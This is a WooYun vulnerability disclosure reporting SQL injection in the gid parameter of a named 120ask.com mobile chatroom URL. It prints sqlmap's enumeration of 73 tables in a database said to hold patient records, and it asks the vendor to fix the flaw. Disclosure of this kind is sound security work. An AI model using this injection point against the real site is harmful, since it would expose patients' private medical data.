WooYun.org

有问必答百度权重9 120健康网百度权重 4 放心医院网百度权重 7
漏洞url:http://m.120ask.com/kuaiwen/tongbingxianglian/chatroom?gid=10021&sex=2
其中gid存在注入
直接上sqlmap检测

发现bingyou这个数据库存放着大量表，全部存的是关于患者的资料
Database: bingyou
[73 tables]
+--------------------------+
| __tj_temp |
| apply_hongbao |
| bingyou_chat |
| chat_day_show_tongji |
| chat_day_tongji |
| chat_log |
| check_filter |
| check_relation |
| check_url |
| cron_log |
| gift_pay_log |
| gift_product |
| gift_trade |
| group_level |
| invitation |
| jz_patient |
| jz_salary_log |
| jz_salary_operate |
| jz_salary_out |
| klyq_article |
| klyq_todo |
| klyq_tongji |
| klyq_user |
| kw_tbxl_tongji |
| red_group_giving_log |
| red_packet |
| red_packet_sample |
| red_packet_split |
| red_packet_split_log |
| red_packet_trade |
| red_packet_use |
| sta_jz_chat |
| sta_jz_group |
| sta_jz_reply |
| sta_jz_salary |
| sta_jz_topic |
| sta_percent |
| tongji_daily_focus |
| tousu |
| wx_blacklist |
| wx_tbxl_active_log |
| wx_tbxl_apply_join_group |
| wx_tbxl_chat |
| wx_tbxl_chatroom_msg |
| wx_tbxl_chatroom_user |
| wx_tbxl_group_base |
| wx_tbxl_group_news_con |
| wx_tbxl_group_news_con_0 |
| wx_tbxl_group_news_con_1 |
| wx_tbxl_group_news_con_2 |
| wx_tbxl_group_news_con_3 |
| wx_tbxl_group_news_con_4 |
| wx_tbxl_group_news_con_5 |
| wx_tbxl_group_news_con_6 |
| wx_tbxl_group_news_con_7 |
| wx_tbxl_group_news_con_8 |
| wx_tbxl_group_news_con_9 |
| wx_tbxl_group_user |
| wx_tbxl_msg |
| wx_tbxl_msg_user |
| wx_tbxl_msg_user_0 |
| wx_tbxl_msg_user_1 |
| wx_tbxl_msg_user_2 |
| wx_tbxl_msg_user_3 |
| wx_tbxl_msg_user_4 |
| wx_tbxl_msg_user_5 |
| wx_tbxl_msg_user_6 |
| wx_tbxl_msg_user_7 |
| wx_tbxl_msg_user_8 |
| wx_tbxl_msg_user_9 |
| wx_tbxl_patient |
| wx_tbxl_tip |
| wx_tbxl_voice |
+--------------------------+
这里就不跑数据了
请厂商抓紧修复